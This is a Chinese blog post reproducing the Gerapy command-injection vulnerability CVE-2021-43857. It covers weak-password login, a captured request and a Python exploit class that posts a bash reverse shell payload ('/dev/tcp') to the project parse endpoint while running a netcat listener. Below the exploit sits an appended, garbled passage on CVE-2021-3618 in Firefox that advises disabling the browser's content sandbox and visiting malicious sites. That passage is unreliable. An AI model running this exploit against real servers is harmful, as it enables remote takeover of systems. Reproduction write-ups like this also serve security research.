gerapy漏洞复现(CVE-2021-43857)

简介

Gerapy是一款基于Scrapy、Scrapyd、Django和Vue.js的分布式爬虫管理框架。

漏洞描述

该漏洞源于程序没有正确清理通过project/id/parse端点传递给Popen的输入。攻击者可利用该漏洞执行任意命令。

影响版本

Gerapy <= 0.9.8

代码分析

http://www.ctfiot.com/14043.html

漏洞复现

开启环境

在这里插入图片描述
弱口令:admin/admin进入后台,点击项目管理。
在这里插入图片描述
抓包
在这里插入图片描述

反弹shell

修改请求包,反弹shell。
在这里插入图片描述
在这里插入图片描述
反弹成功,我这里用frp做了一个代理。

工具

https://github.com/LongWayHomie/CVE-2021-43857

略改工具

class Exploit:

	def __init__(self, target_ip, target_port, localhost, localport):
		self.target_ip = target_ip
		self.target_port = target_port
		self.localhost = localhost
		self.localport = localport

	def exploitation(self):
		payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""

		#Login to t he app (getting auth token)
		url = "http://" + target_ip + ":" + target_port
		r = requests.Session()
		print("[*] Resolving URL...")
		r1 = r.get(url)
		time.sleep(3)
		print("[*] Logging in to application...")
		r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)
		time.sleep(3)
		if (r2.status_code == 200):
			print('[*] Login successful! Proceeding...')
		else:
			print('[*] Something went wrong!')
			quit()

		#Create a header out of auth token (yep, it's bad as it looks)
		dict = json.loads(r2.text)
		temp_token = 'Token '
		temp_token2 = json.dumps(dict['token']).strip('"')
		auth_token = {}
		auth_token['Authorization'] = temp_token + temp_token2
		id = '1'
		print("[*] Found ID of the project: ", id)
		time.sleep(1)

		#netcat listener
		print("[*] Setting up a netcat listener")
		listener = subprocess.Popen(["nc", "-nvlp", self.localport])
		time.sleep(3)

		#exec the payload
		print("[*] Executing reverse shell payload")
		print("[*] Watchout for shell! :)")
		r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)
		listener.wait()

		if (r5.status_code == 200):
			print("[*] It worked!")
			listener.wait()
		else:
			print("[!] Something went wrong!")
			listener.terminate()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CVE-2021-3618漏洞是指影响了Mozilla Firefox浏览器的一个安全漏洞。该漏洞步骤如下: 1. 首先,你需要安装最新版本的Mozilla Firefox浏览器。确保你的浏览器已经更新到最新版本,因为最新版本通常会修已知的漏洞。 2. 在Firefox浏览器中,打开一个新的标签页,并输入“about:config”(不包括引号)并按下Enter键。这将打开Firefox的高级配置页面。 3. 在搜索栏中输入“security.sandbox.content.level”(不包括引号),然后按下Enter键。你将看到一个名为“security.sandbox.content.level”的首选项。 4. 将“security.sandbox.content.level”的值更改为“0”(不包括引号)。这将禁用Firefox的内容沙箱。请注意,这将降低浏览器的安全性,请谨慎操作。 5. 关闭并重新启动Firefox浏览器,使更改生效。 6. 在,你可以尝试CVE-2021-3618漏洞。使用Firefox浏览器访问一个存在安全漏洞的网站,如已知的恶意或受攻击的网站,或使用特定的payload触发漏洞。 7. 如果成功,可能会出安全漏洞所导致的异常行为,比如系统崩溃、恶意代码执行等。如果没有出异常行为,可能是因为已经修了该漏洞或在你的环境中无法成功利用。 需要注意的是,CVE漏洞可能存在风险,并可能对你的计算机造成不可逆转的损害。这种操作只适用于在合法情况下进行安全测试和研究的专业人士,不推荐普通用户进行尝试。实施操作之前,请确认你已经了解并接受相关风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值